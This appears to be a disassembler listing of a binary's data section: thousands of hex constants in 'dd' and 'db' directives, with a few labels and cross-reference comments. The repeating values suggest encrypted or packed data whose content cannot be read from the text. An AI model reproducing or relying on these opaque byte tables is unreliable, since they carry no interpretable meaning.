		dd 75D6BD3Eh, 56E24406h, 6ABFFCCFh, 87986398h, 668CF394h
		dd 8FC73215h, 422EB511h, 422DBB49h, 6694BC1Ah, 0E34B3215h
		dd 66223203h, 661123FCh, 0EA5B1115h, 3FCF2820h,	3E8724C8h
		dd 0A469F046h, 0A6B85CCAh, 665CBF1Ah, 0EF2D3215h, 66113207h
		dd 66883FFCh, 5D2F715h,	0C27EFD1Fh, 0BC14E4B2h,	1326FE14h
		dd 0B0CF52E8h, 662226FCh, 5B12B15h, 0BC57FC39h,	0DC7474E6h
		dd 9885CEAFh, 752ACCE0h, 0EDE8532Bh, 72C23DDDh,	8E223215h
		dd 6611321Bh, 373E8D7Bh, 404D7182h, 816281B6h, 74EB51Eh
		dd 66883DFCh, 0EF641315h, 73E6EF72h, 3ED3C183h,	15CEC6A3h
		dd 3660069Eh, 6227D29Ch, 63113215h, 66883211h, 3A603692h
		dd 662ABC1Ah, 0E41E3215h, 66883217h, 0A1C55375h, 57D63AFCh
		dd 6CD9F594h, 0B9A10E85h, 6C8CDD94h, 89A30E85h,	57E53AFCh
		dd 668826FCh, 5449BF15h, 3B70B00Fh, 9FB6EFA5h, 0AC570C22h
		dd 4C7464FCh, 4A65AB7h,	72983215h, 4E0C731h, 0EF443273h
		dd 69781629h, 6611249Dh, 6699DB15h, 606E3215h, 624DB727h
		dd 2346C05Fh, 0A0ADB4BCh, 0EDA3C124h, 742E37A8h, 99A8CB13h
		dd 677CDEAh, 6654DA43h,	8EE53215h, 0D0B7E62Fh, 53F9EAEFh
		dd 1F1572F8h, 3E7B87EDh, 66113AFDh, 12928615h, 59E89B6Eh
		dd 662EDB43h, 0A1043215h, 5B038A7h, 0BA282351h,	77A4308h
		dd 34E4F224h, 7DA28F40h, 83956DA0h, 5076C794h, 8C988D7Fh
		dd 0EC7A3348h, 0E94B6817h, 66223202h, 6600B01Ah, 6A613215h
		dd 0A2443215h, 7FC6EF52h, 6E26413Ah, 563A3901h,	73CF3DDDh
		dd 8F223215h, 66113205h, 549888F3h, 37682E2Ah, 87A35558h
		dd 1B99BFC5h, 66CBE47Dh, 4270BB15h, 380636EAh, 66953D75h
		dd 69883215h, 9925E3A2h, 52A3B521h, 137D0131h, 0DCDA6A72h
		dd 2B920E12h, 9FC0B35Fh, 0E7076C7Eh, 27D860F7h,	2C8EB33Fh
		dd 0E76D8270h, 1CE825FFh, 3C5803FDh, 6655DBECh,	0DFD03215h
		dd 901744A6h, 1A8AD094h, 6AECB3E9h, 0A7A641BBh,	77F83AFCh
		dd 19883215h, 89A1ED0Ah, 21664BC0h, 1F3FA148h, 0A4329A7Ah
		dd 66443AFCh, 0ADEDFD15h, 0BFBF2070h, 9F490341h, 6645B21Ah
		dd 2CDA3215h, 990BB71Ah, 6E8CDEAh, 69256842h, 66223091h
		dd 77A8515h, 0A9016543h, 0EF1BCC9Ch, 36DB6CE5h,	0ED3526E2h
		dd 0A2091611h, 66443211h, 662239FCh, 0BE5BF815h, 0FC357BF4h
		dd 0A86CDA7h, 0E7FCB975h, 0A72B83F3h, 52775313h, 0A2C76831h
		dd 0E52DC711h, 66113219h, 668835FCh, 0CA731515h, 98E4BB8h
		dd 6647657Dh, 428CBB15h, 37601E94h, 0E937C359h,	3713B317h
		dd 8F9DC359h, 6644321Fh, 8E3A07EFh, 88633A30h, 0D8DE7405h
		dd 66443211h, 52A9C014h, 62D5B331h, 69883215h, 6644339Eh
		dd 124AC715h, 0EF11321Dh, 997D1601h, 7444A790h,	7EAF3D13h
		dd 69113215h, 6688209Eh, 6649DB15h, 8D0F3215h, 0D5E01E29h
		dd 0D496175Bh, 0ED50652Eh, 7422A780h, 661EDB13h, 60E3215h
		dd 590B33BAh, 0F669A946h, 0BFB32DF9h, 631D0BC5h, 69422004h
		dd 66229391h, 0E7775215h, 0E72E8EDAh, 7F50E7F4h, 0EDDA5374h
		dd 0EF401601h, 6249B3F4h, 0E5443215h, 6AA536D4h, 716E31h
		dd 0EDEEE29Eh, 52CF53C3h, 83AB6731h, 6615F794h,	0A30B3215h
		dd 4268B511h, 71AF3D49h, 8F113215h, 66883207h, 9B6DEF3Fh
		dd 0A6B0D4C6h, 29A7878Bh, 0E3F1E8Fh, 0DF154F6Eh, 66223211h
		dd 74FFDC94h, 0A8894CB2h, 74AAF494h, 67B4CB2h, 33A5F89Eh
		dd 668EDB74h, 37D63215h, 97500FAEh, 99EA48FCh, 71093DEAh
		dd 6443215h, 662238FCh,	94DFA15h, 0B68107E0h, 69291230h
		dd 66223292h, 52EE5315h, 0A20B6831h, 7EC63D11h,	8F223215h
		dd 66113206h, 0E7DDFC97h, 2E51CCD2h, 0D77E9868h, 59E42BEFh
		dd 657EDECh, 4270B974h,	0E7C4BB43h, 661136D3h, 624EB115h
		dd 3A600692h, 662ADB75h, 0FE263215h, 536E4EB9h,	0D14B93A9h
		dd 0E64253CDh, 0D9773BE0h, 7E98106h, 664435FCh,	90D26D15h
		dd 0B580C16Eh, 3FAC06EAh, 6640F694h, 68CB3215h,	0B0113215h
		dd 251A4932h, 787C6DCFh, 52175C3Ah, 4225CD00h, 624CB14Dh
		dd 6661B61Ah, 8F423215h, 66113218h, 0CEA5C67h, 51C517C6h
		dd 0EEBB67C3h, 661DDBDCh, 0B9193215h, 0B22D0832h, 0D6FDF63Ah
		dd 67004FAh, 0A69C8D44h, 8E1B1C0Ch, 6622321Fh, 0A68999D5h
		dd 0BBA5E0F1h, 7241997h, 0E3E5534Bh, 60031D50h,	66883215h
		dd 69FC8175h, 66223296h, 0E3D65315h, 609A38A0h,	66443215h
		dd 66223DFCh, 0D2006E15h, 9F39FF75h, 210844DCh,	974D4A80h
		dd 1C788F96h, 6988340Ch, 66442591h, 0FBAFCB15h,	6009A18Eh
		dd 65BCDEDh, 6933EF95h,	6622339Bh, 9370CB15h, 533DB7EAh
		dd 0E44B3407h, 66223214h, 0D3ACB1EDh, 28E2020h,	64BAB01Ah
		dd 423215h, 6971FD9Eh, 66883295h, 6655DB15h, 56553215h
		dd 2CCCD790h, 316B7144h, 9648D879h, 7248F08h, 0D394F574h
		dd 678E2020h, 93443215h, 662BDB75h, 0CDC93215h,	0D570A5C5h
		dd 0EB9B4F12h, 7F1DEA90h, 0B6905213h, 6FAF1C9Dh, 8B8A8B73h
		dd 8FF2CD74h, 6611321Ah, 0E628221h, 3705AC21h, 0E90C839Dh
		dd 6E7C58Eh, 0D373F195h, 0D3C95301h, 603B492Ch,	661123FCh
		dd 0F96B7915h, 99BE5535h, 4E8ED64Fh, 99A32AAh, 0DB053FFFh
		dd 605E34F5h, 662FB51Ah, 8E713215h, 66883210h, 1E2656DFh
		dd 30436C77h, 3906CFABh, 387F1B3Eh, 0A1C5C53Ch,	4D7D25E8h
		dd 9FC78575h, 9B016774h, 4ACFD89Ch, 62E6B131h, 63ACB9ECh
		dd 698E2019h, 66442A96h, 6631DB15h, 7EB73215h, 0D722C296h
		dd 0CE3ADCCDh, 0AC1BD8F6h, 0E02905B6h, 99778B13h, 0E84BCDEAh
		dd 6622320Ch, 6602B01Ah, 68613215h, 5D443215h, 463D4861h
		dd 27E219F2h, 52278D9h,	8F84032Bh, 66223207h, 0A42931CAh
		dd 20D60A0Ah, 0E6D5DCA0h, 0D7E497E9h, 0DF406029h, 66883215h
		dd 67CEC314h, 0E5063E9Eh, 0E61E36D1h, 6688320Bh, 665CB71Ah
		dd 75CB3215h, 4C113215h, 40E3E15h, 4D4699C7h, 72793F99h
		dd 5E2C4BE9h, 0E58735F9h, 6644321Dh, 66AF3D75h,	7113215h
		dd 7261FA25h, 33443215h, 7E130F5Dh, 0D0631231h,	0AFD547BBh
		dd 0B72866E7h, 645972Ah, 661139FDh, 0DB1E3515h,	1F7AFBA4h
		dd 0F0F56DCAh, 28718973h, 9403544Bh, 67F96774h,	0E700CD63h
		dd 495E7AD0h, 0D07DB37Ah, 4F29E32Fh, 60CB6FFBh,	23113215h
		dd 0E1F1E486h, 0E170CD54h, 0E706369Eh, 661136D1h, 95095215h
		dd 6C8E5686h, 66223EFDh, 879B5E15h, 0F3AB4C9Eh,	0B0CE39B9h
		dd 662FDB37h, 76863215h, 0CAB7B07Ch, 5C5BC6E0h,	3F732D24h
		dd 6EF8F374h, 6689B71Ah, 57B83215h, 75A03DD4h, 69113215h
		dd 66883F95h, 664CDB15h, 0A0193215h, 808ECB6Ah,	69C2D2B3h
		dd 99BADE90h, 662ADBEAh, 0B81F3215h, 0DE045A87h, 8AC52E62h
		dd 66223211h, 3E353E9Ch
		dd 727F62EDh, 4240B931h, 6626F694h, 30713215h, 668834FCh
		dd 0DA616615h, 3EF35B24h, 661137FCh, 8AFCE715h,	5F25CFD6h
		dd 7409B790h, 0F5953D13h, 93883215h, 6648B71Ah,	61CB3215h
		dd 32113215h, 124FD529h, 3513CE83h, 5C3F1CAEh, 3DCEBB6Ch
		dd 5C951CADh, 39BC1B6Ch, 6635BD1Ah, 0EF1E3215h,	66883204h
		dd 66443EFCh, 0E7CA2615h, 445EFC09h, 0E93D738Fh, 6984392Dh
		dd 66221F90h, 661CDB15h, 0CEA73215h, 0E117D96Fh, 7680869Eh
		dd 0A1E7845Fh, 74BA8F90h, 66443313h, 662EDB15h,	2E843215h
		dd 36B8CEE8h, 6A7DE6E6h, 0DC70147Ch, 0CD87792h,	0E7C2785Fh
		dd 9024CAFFh, 0B49B6379h, 4FEC939Fh, 0B7896BDFh, 9F25CE4Fh
		dd 0E5358847h, 0B7985E6Fh, 0E5AC269Eh, 61AD36D1h, 1A223215h
		dd 14F8909h, 0D9DFB80Dh, 56D80C77h, 253AD594h, 0DB442D1Ah
		dd 3D387A01h, 9119DD3Ch, 34D5B3C2h, 0E7501100h,	0F2198BD2h
		dd 39BEBBE2h, 6629BA1Ah, 60F83215h, 10883215h, 5EFC4561h
		dd 6CCB9F34h, 22113215h, 0C4C83AE6h, 1BFC5031h,	0CF97BBCFh
		dd 8F17203Eh, 66883207h, 0CB7A2789h, 0D1F8D976h, 0AED53823h
		dd 0EAB89A30h, 8AC536F5h, 66223211h, 0D9350E9Ch, 66883215h
		dd 39B84C9Ch, 662226FCh, 0B12CCC15h, 1CBBB9F1h,	75DD3C51h
		dd 7D49481h, 0B526C6F8h, 88660F75h, 0E34BDCFBh,	66223290h
		dd 6610B71Ah, 0E7703215h, 0BB99EF2Bh, 14A73DC8h, 6113215h
		dd 668DBC1Ah, 62FC3215h, 8F50FEC4h, 6611321Eh, 7D2853C6h
		dd 0C2D36E85h, 7986165h, 0B9A962E0h, 0A1BBE60Dh, 4DA31313h
		dd 669860D9h, 67113215h, 3C8A33E7h, 0E92CCE4Dh,	0EF223257h
		dd 62A81619h, 67883215h, 63AD6BDBh, 79223215h, 3D722F13h
		dd 4D21879Ch, 8FB83407h, 662219A2h, 98C7DBEDh, 6C61CDEAh
		dd 0C2443215h, 0FF4109BBh, 8BFD6C0Bh, 7A036284h, 6280B331h
		dd 6223215h, 661EDAE0h,	47793215h, 155886F8h, 5A49D987h
		dd 1539F2B9h, 66013DCBh, 39443215h, 0DBA70174h,	6172027h
		dd 0B03F3D75h, 8F1553EDh, 66223204h, 0E50862A3h, 3CA738D6h
		dd 0EF8678E1h, 9FFB4FA4h, 6706C74h, 578D1Ah, 764A7ABh
		dd 6921FAD4h, 66112C96h, 7E003D15h, 8F443215h, 66223206h
		dd 145D0190h, 0F9A1CDFh, 899A27A9h, 4F86CC61h, 30D280E3h
		dd 0D2D1A5ABh, 38B4332Ch, 0F10FE23Ch, 628864Ch,	6C3354ECh
		dd 0A6855395h, 0D8445205h, 0E7777FDFh, 7AD20C3h, 0EFBCFA24h
		dd 74108F88h, 661EDB13h, 0D6673215h, 0DB933ECAh, 1D12BF9Dh
		dd 0B072B070h, 66880FDCh, 0E54B3214h, 662233FEh, 0DD2FB3EDh
		dd 693389AEh, 6645EC90h, 0DC70CE15h, 66113215h,	4E98F094h
		dd 944546CEh, 4E32D894h, 64D646CEh, 66883215h, 67C33D4Fh
		dd 93223215h, 6615DE94h, 6A013215h, 66408B31h, 0A8233215h
		dd 0E777524Ch, 0EDD88AD7h, 0E94B53DFh, 6622321Ch, 96AE3D75h
		dd 73778973h, 0CFF1BB74h, 9A24203Eh, 66113BFCh,	70656915h
		dd 18090CA0h, 0FBA9E498h, 600337ECh, 0EDBBCDECh, 0A2C51619h
		dd 66223211h, 6600B01Ah, 6A613215h, 19443215h, 0AB2AE4E5h
		dd 0C40030DCh, 694DF39Eh, 66443399h, 0EF75CE15h, 0EDEBBBD2h
		dd 0A2091629h, 66443211h, 74CA52E9h, 2D113215h,	0CE1974A7h
		dd 340F3FE9h, 75852579h, 8738BBFFh, 6B9B89FDh, 8F1D5702h
		dd 66223206h, 814D7217h, 0D393D1B2h, 1F7DE9B4h,	524D47C5h
		dd 79C7F52h, 33DACA75h,	0C56E94A8h, 424E036Bh, 53496F11h
		dd 182B18B3h, 66443FFCh, 32358115h, 917C5F26h, 0CE9A559Dh
		dd 0E36F11F2h, 60303E68h, 661DBB1Ah, 0EE873215h, 66443213h
		dd 6622BB1Ah, 86D03215h, 67063D17h, 9F443215h, 66223DFCh
		dd 2DA8A815h, 7B2EBF5Bh, 9EF38ED6h, 0F7CED046h,	4510B716h
		dd 0E8873407h, 66443200h, 662222FCh, 22551A15h,	6FAB6035h
		dd 0B70D1FD3h, 62A17EE7h, 0ED47628Bh, 0A20B1611h, 0CBBD6C11h
		dd 662237FCh, 0E6977815h, 14A5D48Eh, 6344800Bh,	1EF43674h
		dd 73CFA14h, 63F0E411h,	66F62C67h, 6624B11Ah, 69713215h
		dd 771C4A2h, 6657B81Ah,	0E32D3215h, 66113218h, 66883AFCh
		dd 9C9F315h, 0AFE038E9h, 4255BB3Ch, 668EDB09h, 55F3215h
		dd 295950ACh, 67983D74h, 9A883215h, 6480DBEDh, 0E62D3215h
		dd 66113202h, 668820FCh, 0E62BB315h, 2DFEA03Fh,	1EE66F56h
		dd 0B7440434h, 318E030Ah, 0A1A3D59Ch, 66113211h, 668CDD94h
		dd 5AC33215h, 6AAB6E31h, 0E671C731h, 0E187C6F2h, 66443210h
		dd 1CC8B373h, 8E79534Ah, 0EF883245h, 69AD1601h,	72223215h
		dd 4446DBF8h, 401D8F47h, 0EC1333F2h, 0AF13676Fh, 661137FCh
		dd 1FF39615h, 0F3CFC767h, 603001F0h, 6616DA75h,	28563215h
		dd 14C1257Fh, 79CA3Ch, 6970CC9Eh, 6688269Bh, 0E54B5215h
		dd 66223215h, 661135FCh, 92037515h, 0A13F28D0h,	69200974h
		dd 6611A291h, 0E5875215h, 66443211h, 271B8D73h,	0DF4053E9h
		dd 66883211h, 6ACFF814h, 62E6B131h, 67AA61E9h, 67883215h
		dd 63AD69CCh, 8B223215h, 0DAA4578h, 778DBF2Eh, 0E34B3407h
		dd 99DDCDA8h, 66113DFCh, 3C1D2B15h, 52927617h, 0B54E1C69h
		dd 83F31052h, 57C98F40h, 27FC48AEh, 4B588924h, 57C224C5h
		dd 0B68DDA3Ch, 3B75E103h, 662222FCh, 0AA43D915h, 2C901538h
		dd 0FF10079Bh, 310CBB7Ch, 0A19B5284h, 9EE95275h, 0EBC95374h
		dd 60306270h, 9AF0CDE9h, 0F305BBE9h, 69422015h,	66223396h
		dd 52EECE15h, 0A20B6831h, 6AAC5211h, 0F1223215h, 2BD01Ch
		dd 44F61AB0h, 0E6555126h, 6978E6F9h, 6611349Bh,	0DD61B315h
		dd 70B8F9Ah, 34063E9Eh,	0A490D09Ch, 66883211h, 0E140F096h
		dd 67E1601h, 6613B91Ah,	3CDB3215h, 4F185A74h, 52AB3215h
		dd 0FB9ACB31h, 609A37ECh, 66443BFCh, 0C0227615h, 76B63CFFh
		dd 0DCDA8F8Ch, 66443215h, 54DDE814h, 0E5350694h, 3FCE2E36h
		dd 45C7C394h, 9F787409h, 6684B79Eh, 0DDE83407h,	6711ECF9h
		dd 662226FCh, 0C1BDC315h, 89C926BBh, 0CA458824h, 2FC16FC2h
		dd 0E179E1EAh, 865953D3h, 95C55475h, 74CACB12h,	47113215h
		dd 60D80F34h, 5CB213ADh, 8FE1C7h, 0E7C0C4C3h, 65E96C3Eh
		dd 74774F90h, 9013CA13h, 6600B21Ah, 8EE83215h, 66443213h
		dd 889FC772h, 0E648DFDCh, 36E97DC1h, 0EF40DE96h, 387A1621h
		dd 43E6B375h, 789934Dh,	0A7B19F73h, 4230F5h, 532BF094h
		dd 670D3174h, 93422036h, 62CEB145h, 3E35069Ch, 9F03524Bh
		dd 0CB2506A1h, 6623B81Ah, 31ED3215h, 0F58419AAh, 39BC1B77h
		dd 4D27FA14h, 8F73A119h, 66883206h, 842B6106h, 6B53AA5h
		dd 9ACF2283h, 2DA32D7Eh, 69E69515h, 66222490h, 6600DB15h
		dd 90B63215h, 4CC938FCh, 2DA724E8h, 327BBFDFh, 0ED70F991h
		dd 0EF121621h, 62E4B3F3h, 0E5113215h, 520F36D3h, 69BD6E31h
		dd 66223391h, 0DB92CB15h, 609A1984h, 0D0C03D14h, 69223215h
		dd 66113392h, 0EBB3C715h, 60561C0Ch, 6681B61Ah,	0D8713215h
		dd 66DDC808h, 6FC90974h, 69242006h, 6611A291h, 92025215h
		dd 5D25D99Fh, 74068398h, 18953D13h, 69883215h, 66443E9Ch
		dd 60A93D15h, 69113215h, 66883293h, 6DD9BF15h, 6242BCFh
		dd 66113DFCh, 31D0EB15h, 0C549569Eh, 0CD7ABFB5h, 6D5A9645h
		dd 65BCD74h, 8FB6B973h,	6622321Eh, 0A1B16FD7h, 94423CC2h
		dd 71E21C2h, 0ED9C6445h, 4F1AF20Ch, 388C1661h, 0ED83B34Ah
		dd 9E29F20Ch, 6854B79Ch
		dd 75613407h, 6443215h,	0C0A5BA82h, 0F6E6D722h,	813AA0EDh
		dd 0C9739238h, 8FDE4D6Bh, 66112DAAh, 6D15BFEDh,	8F422BCFh
		dd 6622321Ch, 96F0932Eh, 0BEF2FD8Dh
		db 0E4h
byte_5C3A41	db 0CDh, 97h		; DATA XREF: ___:off_438438o
byte_5C3A43	db 6			; DATA XREF: ___:off_43A570o
dword_5C3A44	dd 0F06FC94h, 0E570532Dh, 74A3A3A8h, 0E24B3213h, 6622328Fh
					; DATA XREF: ___:off_43A568o
		dd 0E77C8575h, 3079E7FAh
		db 75h,	53h, 24h
		db 0EDh
		dd 77A23DD7h, 8E113215h, 6688321Eh, 0F5F88DA1h,	0FD4C0FEAh
		dd 3DB59291h, 70D0974h,	6942201Fh, 66226F91h, 6602DB15h
		dd 5F8B3215h, 0A4148B84h, 0D382C952h, 5D435A0Dh, 66B1D222h
		dd 72AC5250h, 43223215h, 0E42C39A0h, 93857CDEh,	0C30199DEh
		dd 0AD1A1060h, 0D515A439h, 6F616A72h, 0E443215h, 6C80844Bh
		dd 0E11CB29Dh, 3F0D0974h, 6942201Ah, 66222B90h,	61903D15h
		dd 69883215h, 66443396h, 0B0CBC715h, 6EECDEBh, 446A9EAEh
		dd 0E37F534Ch, 603020E8h, 6691B71Ah, 0EDE83215h, 0A7A6B3C2h
		dd 74D19CCh, 79F88F96h,	69883407h, 66447D91h, 69CB5215h
		dd 0F5113215h, 26C1E828h, 321F7F08h, 0D75AD542h, 72F8A32Bh
		dd 0D3883215h, 0DEBB48h, 82871810h, 53815834h, 8FA173D3h
		dd 75A031Eh, 4ADF8F96h,	69113407h, 66881F91h, 664ADB15h
		dd 0CB13215h, 6C16C2Fh,	3EAA671Ch, 0CB324A83h, 2191B798h
		dd 3771340Ch, 8FE968EDh, 99BBCC58h, 662237FCh, 0D6F6AD15h
		dd 0E3B3CB52h, 605620E8h, 9815B61Ah, 8E71CDEAh,	6688321Fh
		dd 0C68A9599h, 3030CF1Bh, 68F8A23Eh, 38883215h,	7311C850h
		dd 0F59355E8h, 0D064E397h, 0BA3A6C1Ah, 2BF9B174h, 67242B6Fh
		dd 6648B71Ah, 8F743215h, 66443207h, 0A30F389Ch,	0E4A237ECh
		dd 524392A4h, 0BF568C46h, 0E31979F5h, 60084894h, 66BDB71Ah
		dd 0E74B3215h, 66223219h, 6617BF1Ah, 0E1873215h, 66443215h
		dd 6DC6B798h, 0E21E324Ch, 66883213h, 0D41B6075h, 8FCB53B4h
		dd 6EECDE8h, 0DDFB3EABh, 24D68968h, 57430BB9h, 0DB92CBEAh
		dd 609A1370h, 7AC03D15h, 9E223205h, 1C7CB72Eh, 0E387340Ch
		dd 6644325Fh, 6628B61Ah, 69713215h, 0E7EEF0AAh,	76771C7h
		dd 4B0FB79Eh, 61F83407h, 11883215h, 0A568F443h,	0DB776EA8h
		dd 99EECDEAh, 69D5DD3Ch, 66442B95h, 6636DB15h, 1133215h
		dd 8B513B99h, 37D95789h, 0FC2548D9h, 0C5BB38E1h, 0E3B3C8C2h
		dd 605D4860h, 666BB71Ah, 0EDED3215h, 748AEB90h,	6654DB13h
		dd 0CAC53215h, 9F46DA8h, 0AAD851F1h, 0EBED43Eh,	0DC700231h
		dd 3FE10D21h, 3AA0D094h, 84C55790h, 42721AFFh, 1F28D094h
		dd 0B47F363Dh, 0E746D0D4h, 99FD4FFFh, 3CC61BEAh, 6689B01Ah
		dd 5DB83215h, 7F584390h, 5F943D13h, 8F883215h, 6644321Ah
		dd 0B7C4D24Bh, 0CF8998C4h, 347E3B66h, 0ED33763Ch, 740FBF90h
		dd 6E993D13h, 6883215h,	0C547D894h, 374357AFh, 5C232FACh
		dd 7A61B36Ch, 673D0827h, 9EDB6BDAh, 1C68B72Eh, 0E387340Ch
		dd 66443249h, 0BA7B9E9h, 617200Fh, 6681DB43h, 0AA603215h
		dd 682E3ACAh, 386AC6A4h, 6E0A3D74h, 69443215h, 66223099h
		dd 34705215h, 85AAF7AFh, 7AB6B34Eh, 9156F00Ah, 6EF3F3C7h
		dd 4377D894h, 0B145ECD7h, 0ED44524Fh, 661CDAD3h, 27E83215h
		dd 0DFCF8816h, 0BA1C506Fh, 69EB2AA2h, 7D7C5A2h,	1C39B72Eh
		dd 0E32D340Ch, 66113233h, 8B0DB9EDh, 9E422039h,	99DD8F40h
		dd 8938CDEAh, 680F3D48h, 6443215h, 6622BC1Ah, 0E11E3215h
		dd 66883215h, 0E37FC774h, 603B4894h, 6625B71Ah,	0E83215h
		dd 0E768C9ABh, 880A59D4h, 0E39A537Bh, 609A31F8h, 99FD63E9h
		dd 4FDDCDEAh, 75F86BDAh, 8883215h, 9A11B963h, 65035D3Dh
		dd 8180ADCFh, 5EB9EF97h, 0E37F7BE5h, 603B4890h,	6646B71Ah
		dd 0E8873215h, 6644321Ah, 662238FCh, 0ED62915h,	0C6ABA97Eh
		dd 0ED2D9518h, 74335790h, 6AF8CE13h, 0C0883215h, 967CAB2h
		dd 2EE98627h, 34938BD6h, 2BB917AFh, 42AEB36Ch, 675B7F24h
		dd 347168C2h, 6688B41Ah, 0ED1A3215h, 0E22D53D2h, 6611321Ch
		dd 0D8908475h, 67C09098h, 0EFA70974h, 69172B6Fh, 66881190h
		dd 0E3CFCA15h, 60302E5Ch, 0FDAC67E9h, 0E79AD159h, 8508AEF8h
		dd 3BCD1B07h, 6617B71Ah, 9AE83215h, 765F895h, 1CAFB72Eh
		dd 0E31E340Ch, 66883225h, 6ACB3DE0h, 69223215h,	6611349Bh
		dd 66043D15h, 0ED443215h, 743BBB90h, 0DC43C713h, 66883214h
		dd 691EE514h, 66223591h, 67973D15h, 93883215h, 1CD5B72Eh
		dd 0E32D340Ch, 66113241h, 6683DB75h, 0A0B03215h, 6DF9D937h
		dd 370F10FEh, 3B7AB3DAh, 762D847h, 66223CFCh, 81BEA415h
		dd 0B2E6FD5h, 20CE2997h, 0EDB5CC2Ch, 74035390h,	67093D13h
		dd 9E443215h, 13D18946h, 9590097Fh, 5DE247E7h, 8F1FED14h
		dd 6622321Dh, 88C510ACh, 7EF6EC97h, 1CDDB72Eh, 0E32D340Ch
		dd 6611320Bh, 7152EDh, 0ED25E59Eh, 74169790h, 0D847CA13h
		dd 66883214h, 691AC514h, 66223397h, 0E32AC715h,	60914880h
		dd 662AB71Ah, 69CB3215h, 0C5113215h, 662F4C32h,	257730F6h
		dd 1F7FD710h, 0DB928F69h, 609A1348h, 2BC13D15h,	6223215h
		dd 69E48475h, 0D3E9CAA2h, 0E3CF531Ah, 6030148Ch, 99A962EDh
		dd 4F77CDEAh, 0E54B6AD2h, 6622320Ah, 6608B11Ah,	72613215h
		dd 37443215h, 5CAB8F4Bh, 0F36CE7EEh, 834A7C73h,	0C127BB41h
		dd 68C647Ah, 6613BA1Ah,	113D3215h, 711D495h, 6A578F96h
		dd 69113407h, 66884591h, 0E37FC715h, 603B4934h,	667BB71Ah
		dd 0E7E83215h, 5BD69C2h, 69CB526Eh, 0B3113215h,	2A74EB93h
		dd 0E4914CF0h, 0DB268A66h, 6AF85A32h, 8D883215h, 533C192Bh
		dd 0CFE5700Bh, 7EF7BA5h, 6B0DB974h, 6422021h, 1F3B373h
		dd 6618DB07h, 811B3215h, 4FC3E331h, 798A632h, 384E6442h
		dd 697FB553h, 66442197h, 662CDB15h, 0A673215h, 0A4A425EEh
		dd 3973E21Eh, 4CC55BEAh, 7C408F96h, 69883407h, 66469191h
		dd 0EC2D5215h, 6611321Bh, 66883AFDh, 25773015h,	1F7FD710h
		dd 0E5706C69h, 7493ABA8h, 0E24B3213h, 66223095h, 661135FCh
		dd 0F6B0F15h, 0CFA4F576h, 1D27B72Eh, 0E31E340Ch, 6688327Eh
		dd 6643BB1Ah, 0EA2D3215h, 66113214h, 6686DBECh,	0E58E3215h
		dd 413FD0BFh, 7545859Dh, 7F57BB4h, 4D7DB79Eh, 8FDA3407h
		dd 6611321Ah, 71D33410h, 4ACEEB99h, 7AD9D1D2h, 36E8F11Dh
		dd 0ABB7DEADh, 0A6570767h, 0A10BBF27h, 7A923D4Dh, 6883215h
		dd 664421FCh, 4BC9CE15h, 11379789h, 0E20703DFh,	0CFB6AE31h
		dd 65C17DE0h, 5D70F09Fh, 7FF32790h, 59C13D13h, 8F223215h
		dd 6611321Ah, 6A0A3672h, 6530509Dh, 0EE8A1FEAh,	0ED74799Bh
		dd 74BDE390h, 0D8225213h, 80A82416h, 67AF6474h,	67883215h
		dd 0E94B6CE2h, 6622321Bh, 66113BFCh, 7C930015h,	0E7E47564h
		dd 0E319E171h, 6008491Ch, 66C4B71Ah, 74AD3215h,	62223215h
		dd 544864C5h, 0C486CD1Bh, 92314DE7h, 57FD398Ah,	661EDB9Fh
		dd 0C9AF3215h, 0B5E8AF3Bh, 4AC53992h, 0CB03D867h, 8B0DB95Ah
		dd 9A422004h, 99DD8A45h, 0A138CDEAh, 6684DB4Dh,	0D0303215h
		dd 1575427Dh, 75BDEFEAh, 0E3B3B5CCh, 605D490Ch,	6666B71Ah
		dd 0E41E3215h, 66883214h, 1FC1B9E0h, 6242034h, 661139FDh
		dd 7C40D115h, 5783A8B5h, 2DAE5B17h, 661123FCh, 0F3F3115h
		dd 0C0D96A7Ah, 0E1DC9B38h, 7C9F1B99h, 0E6D7AD63h, 9E2578CCh
		dd 99DD8946h, 0B938CDEAh, 0E3B3CE4Eh, 605D4908h, 6662B71Ah
		dd 0E41E3215h, 66883214h, 2BC1B9E0h, 6924201Fh,	66112490h
		dd 6699DB15h, 5E0A3215h, 867FB072h, 0F567D4FAh,	0A484CE0Ch
		dd 35D7A0BEh, 662233AEh, 3DCE3315h, 66883BFCh, 0FD10CD15h
		dd 33A4Fh, 0E32A4B47h, 60914918h, 667AB71Ah, 0EDDB3215h
		dd 74040F90h, 6681DB13h, 1FA93215h, 0FD01B679h,	3424EC2Eh
		dd 8E8D1DAFh, 0ACC5702Dh
		dd 44C84541h, 0E715D0D4h, 94DEFBE7h, 65AEF360h,	0C212D894h
		dd 0B110297Fh, 67073D4Fh, 9E443215h, 1D33B72Eh,	0E31E340Ch
		dd 6688327Dh, 664422FCh, 46E0D915h, 6BA08B75h, 6B61E13Bh
		dd 1FBA71C3h, 0A7A7B90Ah, 69172031h, 6688249Eh,	6655DB15h
		dd 88983215h, 582EB69Dh, 45750B02h, 7C253F77h, 8F58B20Ah
		dd 66113206h, 0DE3DF2DAh, 0E5A1B973h, 0A4DC58BAh, 469DC220h
		dd 34A346DFh, 99BBCDAFh, 3CF51BEAh, 659D3D75h, 69883215h
		dd 0E722CDA2h, 7EBBEE6h, 7D888F96h, 69883407h, 664D0C91h
		dd 0BEA95215h, 2E74DC94h, 8FE90A1Ch, 6644321Dh,	8C0E4D46h
		dd 9EFD2959h, 1C15B72Eh, 0E34B340Ch, 6622323Fh,	0B394B9E9h
		dd 9E8E2039h, 5707ED92h, 57D903CAh, 0D11E52CAh,	7C581C4h
		dd 6648BC1Ah, 0E72D3215h, 66113213h, 6688B21Ah,	0E37F3215h
		dd 603B4924h, 662DB71Ah, 0E83215h, 0D94BFA9Eh, 0E3A953E3h
		dd 60031FACh, 668822FCh, 0BF66EE15h, 7A769045h,	0F6473B06h
		dd 67862ED4h, 99FA64ADh, 4FDDCDEAh, 6DF86CE2h, 0EE883215h
		dd 0D146A99h, 861E4DF6h, 0E32A0F81h, 609148B4h,	666DB71Ah
		dd 75CB3215h, 0FD113215h, 759ED121h, 0D480967Eh, 0DB3E96Ch
		dd 6E4D6187h, 0E3035296h, 60563E5Ch, 679C64E0h,	67113215h
		dd 5D706CE2h, 7F3E9790h, 49A73D13h, 6113215h, 6A60C89Eh
		dd 66443215h, 87E9A9C6h, 0E985C86Fh, 356E1134h,	0ED25684Fh
		dd 7434EF90h, 0E95213h,	7313CACh, 99BB8A45h, 0A10BCDEAh
		dd 0E32AC74Dh, 609148BCh, 6678B71Ah, 6DCB3215h,	9E113215h
